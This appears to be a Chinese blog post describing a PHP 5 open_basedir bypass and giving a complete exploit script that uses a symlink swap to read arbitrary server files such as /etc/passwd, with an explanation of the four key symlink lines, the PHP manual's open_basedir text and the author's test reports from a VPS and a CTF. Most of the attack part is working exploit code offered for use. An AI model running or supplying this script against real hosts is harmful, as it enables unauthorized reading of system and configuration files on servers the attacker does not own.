PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍


Posted in PHP onJanuary 20, 2015

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP:

<?php

/*

* by phithon

* From https://3water.com

* detail: http://cxsecurity.com/issue/WLB-2009110068

*/

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

  mkdir($paths[$i]);

  chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) { 

  chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) { 

  mkdir($name);

  chdir($name);

  $j++;

}

for ($i = 0; $i <= $j; $i++) { 

  chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');
function getRelativePath($from, $to) {

  // some compatibility fixes for Windows paths

  $from = rtrim($from, '\/') . '/';

  $from = str_replace('\\', '/', $from);

  $to   = str_replace('\\', '/', $to);
  $from   = explode('/', $from);

  $to     = explode('/', $to);

  $relPath  = $to;
  foreach($from as $depth => $dir) {

    // find first non-matching dir

    if($dir === $to[$depth]) {

      // ignore this directory

      array_shift($relPath);

    } else {

      // get number of remaining dirs to $from

      $remaining = count($from) - $depth;

      if($remaining > 1) {

        // add traversals up to first matching dir

        $padLength = (count($relPath) + $remaining - 1) * -1;

        $relPath = array_pad($relPath, $padLength, '..');

        break;

      } else {

        $relPath[0] = './' . $relPath[0];

      }

    }

  }

  return implode('/', $relPath);

}
function delfile($deldir){

  if (@is_file($deldir)) {

    @chmod($deldir,0777);

    return @unlink($deldir);

  }else if(@is_dir($deldir)){

    if(($mydir = @opendir($deldir)) == NULL) return false;

    while(false !== ($file = @readdir($mydir)))

    {

      $name = File_Str($deldir.'/'.$file);

      if(($file!='.') && ($file!='..')){delfile($name);}

    } 

    @closedir($mydir);

    @chmod($deldir,0777);

    return @rmdir($deldir) ? true : false;

  }

}
function File_Str($string)

{

  return str_replace('//','/',str_replace('\\','/',$string));

}
function getRandStr($length = 6) {

  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

  $randStr = '';

  for ($i = 0; $i < $length; $i++) {

    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

  }

  return $randStr;

}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

symlink("abc/abc/abc/abc","tmplink"); 

symlink("tmplink/../../../etc/passwd", "exploit"); 

unlink("tmplink"); 

mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

Note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP 相关文章推荐
PHP模板引擎SMARTY
Oct 09 PHP
php创建sprite
Feb 11 PHP
PHP常用的缓存技术汇总
May 05 PHP
Linux下安装PHP MSSQL扩展教程
Oct 24 PHP
ThinkPHP添加更新标签的方法
Dec 05 PHP
PHP往XML中添加节点的方法
Mar 12 PHP
从wamp到xampp的升级之路
Apr 08 PHP
解决微信授权回调页面域名只能设置一个的问题
Dec 11 PHP
浅谈Laravel队列实现原理解决问题记录
Aug 19 PHP
PHP基于回溯算法解决n皇后问题的方法示例
Nov 07 PHP
PHP中检查isset()和!empty()函数的必要性
Feb 13 PHP
php如何实现数据库的备份和恢复
Nov 30 PHP
php中解析带中文字符的url函数分享
Jan 20 #PHP
PHP中使用正则表达式提取中文实现笔记
Jan 20 #PHP
php中的观察者模式简单实例
Jan 20 #PHP
php 5.6版本中编写一个PHP扩展的简单示例
Jan 20 #PHP
PHP函数extension_loaded()用法实例
Jan 19 #PHP
php使用正则表达式获取图片url的方法
Jan 16 #PHP
php使用CURL伪造IP和来源实例详解
Jan 15 #PHP
You might like
php excel类 phpExcel使用方法介绍
2010/08/21 PHP
phpmyadmin config.inc.php配置示例
2013/08/27 PHP
DEDECMS首页调用图片集里的多张图片
2015/06/05 PHP
微信支付开发交易通知实例
2016/07/12 PHP
PHP依赖注入(DI)和控制反转(IoC)详解
2017/06/12 PHP
使用jquery自定义鼠标样式满足个性需求
2013/11/05 Javascript
JavaScript Array对象扩展indexOf()方法
2014/05/09 Javascript
关于JavaScript命名空间的一些心得
2014/06/07 Javascript
基于jquery实现的文字向上跑动类似跑马灯的效果
2014/06/17 Javascript
使用javascript实现json数据以csv格式下载
2015/01/09 Javascript
wangEditor编辑器失去焦点后仍然可以在原位置插入图片分析
2015/05/06 Javascript
jquery实现滑屏大图定时收缩为小banner图片的广告代码
2015/09/02 Javascript
JS产生随机数的用法小结
2016/12/10 Javascript
JavaScript中在光标处插入添加文本标签节点的详细方法
2017/03/22 Javascript
angular或者js怎么确定选中ul中的哪几个li
2017/08/16 Javascript
Bootstrap 实现表格样式、表单布局的实例代码
2018/12/09 Javascript
WebGL学习教程之Three.js学习笔记(第一篇)
2019/04/25 Javascript
详解iview的checkbox多选框全选时校验问题
2019/06/10 Javascript
vue+elementUI 实现内容区域高度自适应的示例
2020/09/26 Javascript
[01:01:14]完美世界DOTA2联赛PWL S2 SZ vs Rebirth 第一场 11.21
2020/11/23 DOTA
[15:20]DOTA2-DPC中国联赛 正赛 Elephant vs Aster 选手采访
2021/03/11 DOTA
Python实现把xml或xsl转换为html格式
2015/04/08 Python
Python中的id()函数指的什么
2017/10/17 Python
Django框架模板介绍
2019/01/15 Python
python打印9宫格、25宫格等奇数格 满足横竖斜相加和相等
2019/07/19 Python
利用Python的turtle库绘制玫瑰教程
2019/11/23 Python
python 利用turtle库绘制笑脸和哭脸的例子
2019/11/23 Python
python GUI库图形界面开发之PyQt5表单布局控件QFormLayout详细使用方法与实例
2020/03/06 Python
专科毕业生学习生活的自我评价
2013/10/26 职场文书
跟单文员岗位职责
2014/01/03 职场文书
《中国梦我的梦》中学生演讲稿
2014/08/20 职场文书
11.9消防日宣传标语
2014/10/08 职场文书
党员教师群众路线个人整改措施
2014/10/28 职场文书
公司仓管员岗位职责
2015/04/01 职场文书
平凡的世界读书笔记
2015/06/25 职场文书
2016年综治宣传月活动宣传标语口号
2016/03/16 职场文书